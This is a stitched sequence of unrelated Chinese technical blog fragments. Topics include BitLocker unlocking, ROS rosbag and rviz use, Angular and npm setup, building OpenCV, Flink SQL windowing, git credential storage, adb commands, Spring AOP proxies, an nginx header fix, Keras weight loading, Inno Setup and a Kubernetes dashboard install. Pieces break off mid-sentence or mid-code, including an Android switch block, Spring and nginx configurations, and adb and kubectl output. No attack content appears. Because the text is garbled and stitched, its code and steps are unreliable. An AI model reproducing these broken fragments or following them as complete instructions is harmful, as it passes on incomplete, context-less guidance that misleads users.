然后是查看BitLocker 密钥(视你的网络情况,可能需要安全上网才能看到BitLocker 密钥)
然后就可以解锁了!
解释之后进入win系统后赶紧关闭BitLocker(或者把你的微软账号换成你私人的,但是我发现我的笔记本好像需要重装系统),下次就不会出现这个问题了。(我感觉是,如果用学校的微软账号登入,微软会认为这台电脑是公家的,不让你乱折腾!)
在window设置页面的搜索栏里面输入“bitlocker”然后点击自动跳出来的“ 管理bitlocker”;
点击了关闭之后会在你的屏幕上弹出正在解密 ,耐心等待解密完成即可;
private float downX[] = new float[5];
private float downY[] = new float[5];
private float upX[] = new float[5];
private float upY[] = new float[5];
private float mathDownX[] = new float[4];
private float mathDownY[] = new float[4];
private float mathUpX[] = new float[4];
private float mathUpY[] = new float[4];
private int mPointCount;
@Override
public boolean onTouchEvent(MotionEvent event) {
mPointCount = event.getPointerCount();
int action = event.getAction() & MotionEvent.ACTION_MASK;
switch (action) {
一、rosbag相关的指令
1. rostopic list //列举出系统中正在发布的ros 话题
2. rosbag record -a //录制系统中所有正在发布的ros 话题
3. rosbag record topic1 topic2 .... -o bagname.bag 4. rosbag play bagname.bag //播放bag文件
5. rosbag info bagname.bag //查看bag中录制的话题信息
6. Ctrl + c //停止录制
二、 播放rosbag中的数据
rosbag play bagname.bag 播放的数据一点也不直观,类似于这种
比如说我们想看一下bag中的图像,点云或者IMU数据是什么样子的,我们可以使用rviz来实现。
//打开一个终端输入 roscore //打开一个新的终端输入 rosrun rviz rviz 1. 显示image图像
在rviz的左下角点击“Add”在弹出的窗口中选择“Image”,然后点击OK
然后选择“Image”的话题为你正在发布的image的话题
2. 显示IMU数据
这个需要提前安装一个插件“rviz_imu_plugin”.安装方法如下:
注意:这里的"melodic"要切换成你自己的ros版本。安装上之后,rviz中会自动加载出来
sudo apt-get install ros-melodic-imu-tools 按照同样的方法,点击RVIZ左下角的“Add”然后选择 “rviz_imu_plugin”中的“imu”,最后点击“OK”。然后就是选择imu的话题。
但是你很可能会遇到这样的error:for frame [xxx]: Fixed Frame [map] does not exist
概括:遇到个项目,需要对接建行的惠市宝,其他都很顺利,但是需要用php 加密验签数据的时候出现问题,经过查找资料解决,代码如下:
最近参与公司的一个app项目,前端使用的 angularJs,首次接触这样的项目,一脸懵逼,启动项目都成问题。同事大致讲了一下,自己琢磨一番,项目总算是启动了,如下记录。
先得从 SVN上下载项目源码,我使用的 webstorm开发工具。以下命令操作是在 webstorm 的Terminal 中完成,建议如果用不习惯的还是打开 cmd 使用吧,话不多说,开始写步骤了。
一、安装 NodeJs
这个百度访问,或是点击下载链接:下载 | Node.js 默认进入到最新版本下载页面,根据系统下载对应的版本安装,我是windows10系统,使用 msi 版本进行安装(说明:因为项目比较老,我并没有使用最新版本!)
当然,并不是版本越高越好,根据自己的项目选择。我接触的这个项目不算新,开始下载的高版本,安装后一直启动不了,后来就降低了版本,我使用版本为 v14.18.0,
下载地址:https://nodejs.org/download/release/v14.18.0/
下载完成后,一直点击“next” 就能安装完成。
安装完成后验证一下, 打开cmd
命令:(1)node -v (2)npm -v
出现以上版本信息,则表示安装成功。
二、安装 cnpm
npm使用的公网服务器,服务器在国外,一般速度不快,下载经常中断,使用阿里的镜像会快很多,相对稳定。安装也很方便,执行一条命令就行。
命令:npm install -g cnpm -registry=https://registry.npm.taobao.org
执行如下:
完成后验证一下,命令:cnpm -v 三、安装angular脚手架
安装命令:cnpm i -g @angular/cli
安装完成后验证一下,命令:ng version 出现如下信息则安装成功:
四、安装依赖
进入到项目目录命令:cd D:\16__ZWZX_Workspace\openresty
加载依赖命令: npm install
如果有个别依赖加载失败,可以使用下面的命令单独安装:cnpm install [依赖名称] --save
五、启动项目
进入到项目目录,执行以下命令: cnpm run dev 完。
开发环境
物理主机:Win 10 64位虚拟工具:VMware Workstation 15 Pro虚拟系统:Ubuntu 20.04.4 LTS软件版本: OpenCV 4.6.0 一、前提准备 首先,需要安装一系列必要的工具,包括:
$ sudo apt-get update # 这是为了更新你的软件源 $ sudo apt-get install build-essential # 这是为了安装编译所需的库 $ sudo apt-get install cmake pkg-config git # 这是为了安装一些必要的工具 $ sudo apt-get install libgtk2.0-dev libavcodec-dev libavformat-dev libswscale-dev python-dev python-numpy libtbb2 libtbb-dev libjpeg-dev libpng-dev libtiff-dev libtiff4.dev libswscale-dev libjasper-dev libdc1394-22-dev libgstreamer1.0-dev libgstreamer-plugins-base1.0-dev 然后,可以去网上下载OpenCV的源码,我是采取git仓库克隆的方式,直接获取最新的版本,如下:
$ git clone https://github.com/opencv/opencv 二、编译安装 1、建立编译目录
源码下载完成后,进入该目录下,执行以下语句:
$ cd opencv $ mkdir build $ cd build 这是为了在源码的根目录下建立一个临时目录,用于存放编译所产生的文件,不至于污染源码,使得你的源码可以根据不同的配置命令分别编译出多份可执行文件,每一份都很清晰,不至于混在一起。
概述 窗口函数 窗口函数Flink SQL支持基于无限大窗口的聚合(无需在SQL Query中,显式定义任何窗口)以及对一个特定的窗口的聚合。例如,需要统计在过去的1分钟内有多少用户点击了某个的网页,可以通过定义一个窗口来收集最近1分钟内的数据,并对这个窗口内的数据进行计算。
Flink SQL支持的窗口聚合主要是两种:
Window聚合Over聚合 Window聚合支持Event Time和Processing Time两种时间属性定义窗口。
每种时间属性类型支持三种窗口类型:滚动窗口(TUMBLE)、滑动窗口(HOP)和会话窗口(SESSION)。
时间属性 Flink SQL支持以下两种时间属性。
Event Time:事件时间(通常是数据的最原始的创建时间),Event Time一定是提供在Schema里面的数据。Processing Time:对事件进行处理的本地系统时间。 级联窗口 Rowtime列在经过窗口操作后,其Event Time属性将丢失。可以使用辅助函数TUMBLE_ROWTIME、HOP_ROWTIME或SESSION_ROWTIME获取窗口中的Rowtime列的最大值max(rowtime)作为时间窗口的Rowtime,其类型是具有Rowtime属性的TIMESTAMP,取值为window_end - 1。例如[00:00, 00:15]的窗口,返回值为00:14:59:999。
示例逻辑:基于1分钟的滚动窗口聚合结果,进行1小时的滚动窗口聚合。
CREATE TABLE user_clicks( username VARCHAR, click_url VARCHAR, ts TIMESTAMP, WATERMARK wk FOR ts AS withOffset(ts, 2000) -- 为Rowtime定义WaterMark ) with ( type='datahub', ... ); CREATE TABLE tumble_output( window_start TIMESTAMP, window_end TIMESTAMP, username VARCHAR, clicks BIGINT ) with ( type='print' ); CREATE VIEW one_minute_window_output AS SELECT // 使用TUMBLE_ROWTIME作为二级Window的聚合时间 TUMBLE_ROWTIME(ts, INTERVAL '1' MINUTE) AS rowtime, username, COUNT(click_url) AS cnt FROM user_clicks GROUP BY TUMBLE(ts, INTERVAL '1' MINUTE), username ; INSERT INTO tumble_output SELECT TUMBLE_START(rowtime, INTERVAL '1' HOUR), TUMBLE_END(rowtime, INTERVAL '1' HOUR), username, SUM(cnt) FROM one_minute_window_output GROUP BY TUMBLE(rowtime, INTERVAL '1' HOUR), username ; 滚动窗口 滚动窗口(TUMBLE)将每个元素分配到一个指定大小的窗口中。通常,滚动窗口是固定大小的,且不会重叠。例如:指定了一个5分钟大小的滚动窗口,无限流的数据会根据时间划分为[0:00, 0:05)、[0:05, 0:10)、[0:10, 0:15)等窗口。如下展示了一个30秒的滚动窗口。
如果我们git clone的下载代码的时候是连接的https://而不是git@git (ssh)的形式,当我们操作git pull/push到远程的时候,总是提示我们输入账号和密码才能操作成功,频繁的输入账号和密码会很麻烦。
解决办法:
git bash进入你的项目目录,输入:
git config --global credential.helper store
然后你会在你本地生成一个文本,上边记录你的账号和密码。当然这些你可以不用关心。
然后你使用上述的命令配置好之后,再操作一次git pull,然后它会提示你输入账号密码,这一次之后就不需要再次输入密码了。
查询设备列表
adb devices
安装应用app
adb install xx.apk
卸载应用app
adb uninstall [-k] 查看安装的app包名
adb shell pm list packages
查看前台 Activity
adb shell dumpsys activity activities | grep mFocusedActivity
查看当前正在运行的APK的包名
adb shell dumpsys window | findstr mCurrentFocus
monkey app压测
adb shell monkey -p 包名 -v -v -v 200>D:AAlog.txt
app启动时间
adb shell am start com.android.settings/.HWSettings
通过wifi连接手机
adb connect 手机IP地址:5555
打开wifi页面命令
adb shell am start -a android.intent.action.MAIN -n com.android.settings/.wifi.WifiSettings
打开蓝牙设置界面
adb shell am start -a android.
一、基础理解 Spring AOP,即面向切面思想。使用切面来处理一些问题需要考虑:从哪里进行切入、在什么时候切入以及切面增加什么行为。整个AOP体系可以梳理为下图:
其中设计到的常用术语包括:
连接点:类里面可以被增强的方法。切入点:类里面真正被增强的方法。通知:实际增强的逻辑部分,包括前置、后置、环绕、异常、最终通知切面:将通知应用到切入点的过程 二、基础原理解读 Spring AOP的原理总结来说,就是动态代理。采用代理模式,生成一个个代理类,然后替换掉真是实现类来对外提供服务。Spring AOP就是通过getBean()方法返回代理类的实例。该代理类是Spring采用JDK Proxy或CGLIB动态生成的。
1、JDK动态代理
介绍:
Spring默认使用JDK的动态代理实现AOP,类如果实现了接口,Spring就会使用这种方式实现动态代理。JDK实现动态代理需要两个组件,首先第一个就是InvocationHandler接口。我们在使用JDK的动态代理时,需要编写一个类,去实现这个接口,然后重写invoke方法,这个方法其实就是我们提供的代理方法。然后JDK动态代理需要使用的第二个组件就是Proxy这个类,我们可以通过这个类的newProxyInstance方法,返回一个代理对象。生成的代理类实现了原来那个类的所有接口,并对接口的方法进行了代理,我们通过代理对象调用这些方法时,底层将通过反射,调用我们实现的invoke方法。
优点:
JDK动态代理是JDK原生的,不需要任何依赖即可使用;通过反射机制生成代理类的速度要比CGLib操作字节码生成代理类的速度更快; 缺点:
如果要使用JDK动态代理,被代理的类必须实现了接口,否则无法代理;JDK动态代理无法为没有在接口中定义的方法实现代理,假设我们有一个实现了接口的类,我们为它的一个不属于接口中的方法配置了切面,Spring仍然会使用JDK的动态代理,但是由于配置了切面的方法不属于接口,为这个方法配置的切面将不会被织入。JDK动态代理执行代理方法时,需要通过反射机制进行回调,此时方法执行的效率比较低; 2、CGLib动态代理
介绍:
JDK的动态代理存在限制,那就是被代理的类必须是一个实现了接口的类,代理类需要实现相同的接口,代理接口中声明的方法。若需要代理的类没有实现接口,此时JDK的动态代理将没有办法使用,Spring就会使用CGLib的动态代理来生成代理对象。CGLib直接操作字节码,生成类的子类,重写类的方法完成代理。
优点:
使用CGLib代理的类,不需要实现接口,因为CGLib生成的代理类是直接继承自需要被代理的类;CGLib生成的代理类是原来那个类的子类,这就意味着这个代理类可以为原来那个类中,所有能够被子类重写的方法进行代理;CGLib生成的代理类,和我们自己编写并编译的类没有太大区别,对方法的调用和直接调用普通类的方式一致,所以CGLib执行代理方法的效率要高于JDK的动态代理; 缺点:
由于CGLib的代理类使用的是继承,这意味着如果需要被代理的类是一个final类,则无法使用CGLib代理;由于CGLib实现代理方法的方式是重写父类的方法,所以无法对final方法,或者private方法进行代理,因为子类无法重写这些方法;CGLib生成代理类的方式是通过操作字节码,这种方式生成代理类的速度要比JDK通过反射生成代理类的速度更慢; (一)Spring AOP生效方式 Spring AOP的关键类就是DefaultAdvisorAutoProxyCreator。该类能自动将所有的advisor生效。通过查看该类的继承结构,惊喜地发现,最后居然是BeanPostProcessor。
public interface BeanPostProcessor { @Nullable default Object postProcessBeforeInitialization(Object bean, String beanName) throws BeansException { return bean; } @Nullable default Object postProcessAfterInitialization(Object bean, String beanName) throws BeansException { return bean; } } 上面是BeanPostProcessor的源码。其两个方法分别在init-method的前后得到执行。体现在Spring IOC中如下所示:
protected Object doCreateBean(final String beanName, final RootBeanDefinition mbd, final @Nullable Object[] args) throws BeanCreationException { // .
公式如下
=MID(A1,1,2)&":"&MID(A1,3,2)&":"&MID(A1,6,2)&":"&MID(A1,8,2)&":"&MID(A1,11,2)&":"&MID(A1,13,2)
A1是原mac所在位置,1是指从A1里面的第1个字符开始,2是指第2个字符,后面加冒号,且用双引号引起来,&是连接符,前后各一个,以此类推,由于原mac中第5个字符是冒号,所以第三段中是(A1,6,2)后面依次类推
解决办法 nginx 默认对 header 的 key 不支持下划线,需要在 http{ } 模块添加如下配置来支持下划线:修改后记得重启 nginx
http { ··· underscores_in_headers on; ··· service {} } 业务场景 jwt 单点登录业务场景,在前端获取用户信息时,将 token 信息放到请求头 header 中,如下:
// 拦截器:将cookie中的token放进header中 request.interceptors.request.use( config => { if (cookie.get("token")) { config.headers['guli_token'] = cookie.get("token"); } return config; }, error => { return Promise.reject(error) } ) 可以看到请求头中的 header 信息:
经过 nginx 反向代理请求到后端,此时后端获取到的 token 信息为 null:
server { listen 8888; server_name localhost; client_max_body_size 1024m; location /ucenter/ { proxy_pass http://127.
问题 在自定义继承自keras.Model的模型时,使用model.save("mode.h5")会报错,于是,可行的方法是,使用model.save_weights("seg_model_weights.h5")时正确保存。但是在加载模型时报错: 'Unable to load weights saved in HDF5 format into a subclassed ’ ValueError: Unable to load weights saved in HDF5 format into a
subclassed Model which has not created its variables yet. Call the
Model first, then load the weights.
解决方法 在加载之前先build,model.build(input_shape =<Input shape>)。下面是样例 model.build(input_shape =(None,256,256,3)) model.load_weights(path)
文章目录 前言一、Inno Setup 介绍1.Inno Setup 是什么?2.Inno Setup 可以帮助我们做什么事情?3.功能 二、Inno Setup 安装1.安装地址1.1 百度网盘下载地址1.2 官网下载地址 2.安装教程 三、Inno Setup 使用1.打包一个软件2.打包SpringBoot+Vue前后端分离项目2.1 目录介绍2.2 需要修改的文件2.2.1 ruoyi.iss2.2.2 nginx.conf2.2.3 install.bat 总结 前言 最近做的一个项目需要将开发的系统运行在单机的电脑上,但是开发的系统需要依赖于环境,需要将运行环境和系统一起打包成安装包,在单机的电脑上可以直接运行安装包,点击桌面图标就可以运行系统。在网络上找了几款打包软件最终都以失败告终,之后同事告诉我了这个软件,肝了一天一夜终于把安装包的配置搞好了,最后在这里把Inno Setup打包前后端分离项目的教程分享给大家😘
一、Inno Setup 介绍 1.Inno Setup 是什么? Inno Setup是一个免费的安装制作软件,小巧、简便、精美是其最大特点,官方网站同时也提供源程序免费下载。它虽不能与Installshield这类恐龙级的安装制作软件相比,但也当之无愧算是后起之秀。
2.Inno Setup 可以帮助我们做什么事情? Inno Setup是非常强大的, 可以帮我们把一些应用打包成安装包,非常方便。
3.功能 支持自 2006 年以来的每个 Windows 版本,包括:Windows 11、Windows 10、Windows 10 on ARM、Windows Server 2019、Windows Server 2016、Windows 8.1、Windows 8、Windows Server 2012、Windows 7、Windows Server 2008 R2、Windows Server 2008和 Windows Vista。(不需要服务包)广泛支持在 64 位版本的 Windows 上安装64 位应用程序。x64、ARM64 和 Itanium 架构均受支持。广泛支持管理和非管理安装。支持创建单个 EXE来安装您的程序,以便于在线分发。还支持磁盘跨越。标准的 Windows 向导界面。可定制的设置类型,例如完整、最小、自定义。完整的卸载功能。文件安装:包括对“deflate”、bzip2 和7-Zip LZMA/LZMA2 文件压缩的集成支持。安装程序能够比较文件版本信息、替换正在使用的文件、使用共享文件计数、注册 DLL/OCX 和类型库以及安装字体。在任何地方创建快捷方式,包括在开始菜单和桌面上。创建注册表和 .
第一种:
1、查看所有的端口
netstat -ano 8080(冲突端口号) 2、打开任务管理器,找到其所对应的进程,结束进程
第二种:
1、查看所有的端口
netstat -ano|findstr 8080(冲突端口号) 2、 tasklist|findstr "10744"
3、taskkill /f /t /im node.exe
安装 # 1.先将镜像文件上传到两个worker节点,然后解压 docker load -i dashboard_2_0_0.tar.gz docker load -i metrics-scrapter-1-0-1.tar.gz # 2.将kubernetes-dashboard.yaml上传到master节点 kubectl apply -f kubernetes-dashboard.yaml # 3.yaml配置将dashboard安装在了kubernetes-dashboard命名空间下 kubectl get pods -n kubernetes-dashboard # 4.查看网络配置 kubectl get svc -n kubernetes-dashboard # 显示如下Running即可 NAME READY STATUS RESTARTS AGE dashboard-metrics-scraper-xxx 1/1 Running 0 7m14s kubernetes-dashboard-xxx 1/1 Running 0 6m55s # 5.修改 service type 类型变成 NodePort kubectl edit svc kubernetes-dashboard -n kubernetes-dashboard # 把 type: ClusterIP 变成 type: NodePort,保存退出即可。 kubectl get svc -n kubernetes-dashboard # 显示如下:NodePort中30940即为访问端口 NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE dashboard-xx ClusterIP 10.